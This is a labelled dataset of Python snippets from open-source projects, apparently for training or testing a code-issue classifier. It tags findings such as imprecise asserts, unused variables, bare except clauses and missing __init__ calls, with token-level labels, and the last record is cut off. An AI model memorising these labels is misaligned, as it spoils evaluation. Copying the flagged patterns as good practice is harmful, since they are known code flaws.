[ { "content": " def __init__(self, data):\n self._data = data", "metadata": "root.Thing.__init__", "header": "['class', 'Thing', '(', 'object', ')', ':', '___EOS___']", "index": 15 }, { "content": "class Raid(Thing):\n", "metadata": "root.Raid", "header": "['module', '___EOS___']", "index": 947 }, { "content": " def __init__(self, id):\n self.id = id", "metadata": "root.Raid.__init__", "header": "['class', 'Raid', '(', 'Thing', ')', ':', '___EOS___']", "index": 948 } ]
[ { "span": "class Raid(Thing):", "start_line": 947, "start_column": 0, "end_line": 947, "end_column": 18 } ]
[ { "span": "def __init__(self, data):", "start_line": 15, "start_column": 4, "end_line": 15, "end_column": 29 }, { "span": "def __init__(self, id):", "start_line": 948, "start_column": 4, "end_line": 948, "end_column": 27 } ]
1
false
[ "[CLS]_", "Missing", "_", "call_", "to_", " _", "`_", "\\u\\u", "init\\u\\u_", "`_", "dur", "ing_", "object_", "initialization", "_", "[SEP]_", "class_", "Thing_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "data_", "=_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Rai", "d_", "(_", "Thing_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Rai", "d_", "(_", "Thing_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "id_", "=_", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
RobotWebTools/rosbridge_suite/rosbridge_library/test/internal/test_message_conversion.py
[ { "content": " def msgs_equal(self, msg1, msg2):\n if type(msg1) in [str, unicode] and type(msg2) in [str, unicode]:\n pass\n else:\n self.assertEqual(type(msg1), type(msg2))\n if type(msg1) in c.list_types:\n for x, y in zip(msg1, msg2):\n self.msgs_equal(x, y)\n elif type(msg1) in c.primitive_types or type(msg1) in c.string_types:\n self.assertEqual(msg1, msg2)\n else:\n for x in msg1:\n self.assertTrue(x in msg2)\n for x in msg2:\n self.assertTrue(x in msg1)\n for x in msg1:\n self.msgs_equal(msg1[x], msg2[x])", "metadata": "root.TestMessageConversion.msgs_equal", "header": "['class', 'TestMessageConversion', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 30 } ]
[ { "span": "self.assertTrue(x in msg2)", "start_line": 42, "start_column": 16, "end_line": 42, "end_column": 42 }, { "span": "self.assertTrue(x in msg1)", "start_line": 44, "start_column": 16, "end_line": 44, "end_column": 42 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Messag", "e", "Conversion", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "msgs", "\\u", "equal_", "(_", "self_", ",_", "msg", "1_", ",_", "msg", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "msg", "1_", ")_", "in_", "[_", "str_", ",_", "unicode_", "]_", "and_", "type_", "(_", "msg", "2_", ")_", "in_", "[_", "str_", ",_", "unicode_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "type_", "(_", "msg", "1_", ")_", ",_", "type_", "(_", "msg", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "(_", "msg", "1_", ")_", "in_", "c_", "._", "list", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", ",_", "y_", "in_", "zip_", "(_", "msg", "1_", ",_", "msg", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "msgs", "\\u", "equal_", "(_", "x_", ",_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "(_", "msg", "1_", ")_", "in_", "c_", "._", "primi", "tiv", "e\\u", "types_", "or_", "type_", "(_", "msg", "1_", ")_", "in_", "c_", "._", "string", "\\u", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "msg", "1_", ",_", "msg", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", "in_", "msg", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "x_", "in_", "msg", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "x_", "in_", "msg", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "x_", "in_", "msg", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "x_", "in_", "msg", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "msgs", "\\u", "equal_", "(_", "msg", "1_", "[_", "x_", "]_", ",_", "msg", "2_", "[_", "x_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
PythonJS/PythonJS/regtests/threads/shared_dict_coop.py
[ { "content": "def main():\n\tif PYTHON=='PYTHONJS':\n\t\tpythonjs.configure( direct_operator='+' )\n\t\tpass\n\telse:\n\t\tdef l (f,a): threading._start_new_thread(f,a)\n\t\tthreading.start_webworker = l\n\n\tseq = {}\n\tw1 = threading.start_webworker( worker, (seq, 'abcdefgh', 'i') )\n\tw2 = threading.start_webworker( worker, (seq, 'ijklmnop', 'p') )\n\tsleep(1.0)\n\n\n\tTestError( 'a' in seq )\n\tTestError( 'i' in seq )\n\tprint('-----main exit')\n\tprint(seq)", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 9 } ]
[ { "span": "w1 ", "start_line": 18, "start_column": 1, "end_line": 18, "end_column": 3 }, { "span": "w2 ", "start_line": 19, "start_column": 1, "end_line": 19, "end_column": 3 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "if_", "PYTHON", "_", "==_", "'", "PYTHON", "JS", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "python", "js_", "._", "configure_", "(_", "direct", "\\u", "operator_", "=_", "'+'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "def_", "l_", "(_", "f_", ",_", "a_", ")_", ":_", "threading_", "._", "\\u", "start", "\\u", "new", "\\u", "thread_", "(_", "f_", ",_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "threading_", "._", "start", "\\u", "web", "worker_", "=_", "l_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "seq_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w1_", "=_", "threading_", "._", "start", "\\u", "web", "worker_", "(_", "worker_", ",_", "(_", "seq_", ",_", "'", "abcdefg", "h", "'_", ",_", "'", "i", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w2_", "=_", "threading_", "._", "start", "\\u", "web", "worker_", "(_", "worker_", ",_", "(_", "seq_", ",_", "'", "ijk", "lm", "nop", "'_", ",_", "'", "p", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sleep_", "(_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Test", "Error_", "(_", "'", "a", "'_", "in_", "seq_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Test", "Error_", "(_", "'", "i", "'_", "in_", "seq_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'-----", "main", " ", "exit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "seq_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
amrdraz/kodr/app/brython/www/src/Lib/test/test_sys_setprofile.py
[ { "content": " def test_caught_exception(self):\n def f(p):\n try: 1/0\n except: pass\n f_ident = ident(f)\n self.check_events(f, [(1, 'call', f_ident),\n (1, 'return', f_ident),\n ])", "metadata": "root.ProfileHookTestCase.test_caught_exception", "header": "['class', 'ProfileHookTestCase', '(', 'TestCaseBase', ')', ':', '___EOS___']", "index": 119 }, { "content": " def test_caught_nested_exception(self):\n def f(p):\n try: 1/0\n except: pass\n f_ident = ident(f)\n self.check_events(f, [(1, 'call', f_ident),\n (1, 'return', f_ident),\n ])", "metadata": "root.ProfileHookTestCase.test_caught_nested_exception", "header": "['class', 'ProfileHookTestCase', '(', 'TestCaseBase', ')', ':', '___EOS___']", "index": 128 }, { "content": " def test_exception_in_except_clause(self):\n def f(p):\n 1/0\n def g(p):\n try:\n f(p)\n except:\n try: f(p)\n except: pass\n f_ident = ident(f)\n g_ident = ident(g)\n self.check_events(g, [(1, 'call', g_ident),\n (2, 'call', f_ident),\n (2, 'return', f_ident),\n (3, 'call', f_ident),\n (3, 'return', f_ident),\n (1, 'return', g_ident),\n ])", "metadata": "root.ProfileHookTestCase.test_exception_in_except_clause", "header": "['class', 'ProfileHookTestCase', '(', 'TestCaseBase', ')', ':', '___EOS___']", "index": 148 }, { "content": " def test_raise_twice(self):\n def f(p):\n try: 1/0\n except: 1/0\n f_ident = ident(f)\n self.check_events(f, [(1, 'call', f_ident),\n (1, 'return', f_ident),\n ])", "metadata": "root.ProfileHookTestCase.test_raise_twice", "header": "['class', 'ProfileHookTestCase', '(', 'TestCaseBase', ')', ':', '___EOS___']", "index": 182 }, { "content": " def test_caught_exception(self):\n def f(p):\n try: 1/0\n except: pass\n f_ident = ident(f)\n self.check_events(f, [(1, 'call', f_ident),\n (1, 'return', f_ident),\n ])", "metadata": "root.ProfileSimulatorTestCase.test_caught_exception", "header": "['class', 'ProfileSimulatorTestCase', '(', 'TestCaseBase', ')', ':', '___EOS___']", "index": 301 }, { "content": "def protect(f, p):\n try: f(p)\n except: pass", "metadata": "root.protect", "header": "['module', '___EOS___']", "index": 347 } ]
[ { "span": "except: ", "start_line": 122, "start_column": 12, "end_line": 122, "end_column": 19 }, { "span": "except: ", "start_line": 131, "start_column": 12, "end_line": 131, "end_column": 19 }, { "span": "except:", "start_line": 154, "start_column": 12, "end_line": 154, "end_column": 19 }, { "span": "except: ", "start_line": 156, "start_column": 16, "end_line": 156, "end_column": 23 }, { "span": "except: ", "start_line": 185, "start_column": 12, "end_line": 185, "end_column": 19 }, { "span": "except: ", "start_line": 304, "start_column": 12, "end_line": 304, "end_column": 19 }, { "span": "except: ", "start_line": 349, "start_column": 4, "end_line": 349, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Profil", "e", "Hook", "Test", "Case_", "(_", "Test", "Case", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cau", "ght", "\\u", "exception_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "f_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "\\u", "ident_", "=_", "ident_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "events_", "(_", "f_", ",_", "[_", "(_", "1_", ",_", "'", "call", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "1_", ",_", "'", "return", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Profil", "e", "Hook", "Test", "Case_", "(_", "Test", "Case", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cau", "ght", "\\u", "nest", "ed", "\\u", "exception_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "f_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "\\u", "ident_", "=_", "ident_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "events_", "(_", "f_", ",_", "[_", "(_", "1_", ",_", "'", "call", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "1_", ",_", "'", "return", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Profil", "e", "Hook", "Test", "Case_", "(_", "Test", "Case", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "exception", "\\u", "in", "\\u", "except", "\\u", "clause_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "f_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "g_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "f_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "\\u", "ident_", "=_", "ident_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "ident_", "=_", "ident_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "events_", "(_", "g_", ",_", "[_", "(_", "1_", ",_", "'", "call", "'_", ",_", "g", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "2_", ",_", "'", "call", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "2_", ",_", "'", "return", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "3_", ",_", "'", "call", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "3_", ",_", "'", "return", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "1_", ",_", "'", "return", "'_", ",_", "g", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Profil", "e", "Hook", "Test", "Case_", "(_", "Test", "Case", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "raise", "\\u", "twi", "ce_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "f_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "\\u", "ident_", "=_", "ident_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "events_", "(_", "f_", ",_", "[_", "(_", "1_", ",_", "'", "call", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "1_", ",_", "'", "return", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Profil", "e", "Simul", "ator", "Test", "Case_", "(_", "Test", "Case", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cau", "ght", "\\u", "exception_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "f_", "(_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "1_", "/_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f", "\\u", "ident_", "=_", "ident_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "events_", "(_", "f_", ",_", "[_", "(_", "1_", ",_", "'", "call", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "1_", ",_", "'", "return", "'_", ",_", "f", "\\u", "ident_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "protect", "_", "(_", "f_", ",_", "p_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "f_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2 ]
Imprecise assert
girder/girder/plugins/user_quota/plugin_tests/user_quota_test.py
[ { "content": " def _setPolicy(self, policy, model, resource, user, error=None,\n results=None):\n \"\"\"\n Set the quota or assetstore policy and check that it was set.\n\n :param policy: dictionary of values to set.\n :param model: either 'user' or 'collection'.\n :param resource: the document for the resource to test.\n :param user: user to use for authorization.\n :param error: if set, this is a substring expected in an error message.\n :param results: if not specified, we expect policy to match the set\n results. Otherwise, these are the expected results.\n \"\"\"\n if isinstance(policy, dict):\n policyJSON = json.dumps(policy)\n else:\n policyJSON = policy\n path = '/%s/%s/quota' % (model, resource['_id'])\n resp = self.request(path=path, method='PUT', user=user,\n params={'policy': policyJSON})\n if error:\n self.assertStatus(resp, 400)\n self.assertTrue(error in resp.json['message'])\n return\n self.assertStatusOk(resp)\n resp = self.request(path=path, method='GET', user=user)\n self.assertStatusOk(resp)\n currentPolicy = resp.json['quota']\n if not results:\n results = policy\n for key in results:\n if results[key] or results[key] is False:\n self.assertEqual(currentPolicy[key], results[key])\n else:\n self.assertEqual(currentPolicy[key], None)", "metadata": "root.QuotaTestCase._setPolicy", "header": "['class', 'QuotaTestCase', '(', 'base', '.', 'TestCase', ')', ':', '___EOS___']", "index": 127 }, { "content": " def _testQuota(self, model, resource, user):\n \"\"\"\n Test quota policies for a specified resource.\n\n :param model: either 'user' or 'collection'.\n :param resource: the document for the resource to test.\n :param user: user to use for authorization.\n \"\"\"\n self.model('setting').set(SettingKey.UPLOAD_MINIMUM_CHUNK_SIZE, 0)\n resp = self.request(path='/folder', method='GET', user=user,\n params={'parentType': model,\n 'parentId': resource['_id']})\n self.assertStatusOk(resp)\n self.assertGreaterEqual(len(resp.json), 1)\n folder = resp.json[0]\n # Start by uploading one file so that there is some use\n self._uploadFile('First upload', folder, size=1024)\n # Set a policy limiting things to 4 kb, then a 4 kb file should fail\n self._setPolicy({'fileSizeQuota': 4096, 'useQuotaDefault': False},\n model, resource, user)\n self._uploadFile('File too large', folder, size=4096,\n error='Upload would exceed file storage quota')\n # But a 2 kb file will succeed\n file = self._uploadFile('Second upload', folder, size=2048)\n # And a second 2 kb file will fail\n self._uploadFile('File too large', folder, size=2048,\n error='Upload would exceed file storage quota')\n # If we start uploading two files, only one should complete\n file1kwargs = self._uploadFile('First partial', folder, size=768,\n partial=True)\n file2kwargs = self._uploadFile('Second partial', folder, size=768,\n partial=True)\n resp = self.multipartRequest(**file1kwargs)\n self.assertStatusOk(resp)\n try:\n resp = self.multipartRequest(**file2kwargs)\n self.assertStatus(resp, 